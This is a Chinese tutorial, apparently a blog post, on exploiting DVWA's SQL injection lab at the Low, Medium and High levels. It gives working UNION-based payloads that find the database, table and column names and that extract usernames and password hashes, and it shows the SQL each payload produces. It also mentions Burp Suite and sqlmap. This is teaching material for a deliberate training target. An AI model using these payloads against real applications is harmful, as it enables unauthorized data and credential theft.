zoukankan      html  css  js  c++  java
  • SQL Injection

    Low级别

    判断是否存在注入点

    输入1提交

    输入1 and 1=1提交

    SELECT first_name, last_name FROM users WHERE user_id = '1'

    输入1 and 1=2提交

    由上可以看出是存在注入点的,参数为id

    SELECT first_name, last_name FROM users WHERE user_id = 'id'

    利用漏洞获取信息

    获取当前库名

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,database()#

     实际执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,database()#'

    根据库名获取所有表名

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#

    底层执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,table_name from information_schema.tables where TABLE_SCHEMA='dvwa'#'

    根据表名获取表的列

    1后面的‘是为了使前面的参数闭合最后的#是为了注释‘

    1' union select 1,column_name from information_schema.columns where table_name='users'#

     

    底层执行sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,column_name from information_schema.columns where table_name='users'#'

    获取数据

    1' union select1,concat(user,password) from users#

    底层sql

    SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,concat(user,password) from users#'

    Medium级别

    此时限制用户输入,只允许手动选择,并且代码中加入检测单引号机制,如果有单引号会默认在前面加上一个反斜杠/

    可以用hackbar试一下或者用burpsuite抓包试一下,并且不再用'

    查询当前库

    1 union select 1,(select database())

    底层sql

    SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,(select database())

    查询所有表

    1 union select 1,table_name from information_schema.tables where table_schema=(select database())

    burp拦截到请求send to Repeater。

    底层数据sql

    SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,table_name from information_schema.tables where table_schema=(select database())

    High级别

    高级和初级是一样的,只不过加了limit 1和弹框 

    工具的使用

    使用工具Sqlmap

    绕过机制:https://www.cnblogs.com/Vinson404/p/7253255.html

  • 相关阅读:
    HTML介绍
    python D41 前端初识
    mysql索引原理与查询优化
    python D41
    python D40 pymsql和navicat
    python D40 以及多表查询
    python D35 selectors模块
    python D35 I/O阻塞模型
    测试过程
    测试基础
  • 原文地址:https://www.cnblogs.com/aeolian/p/11058938.html
Copyright © 2011-2022 走看看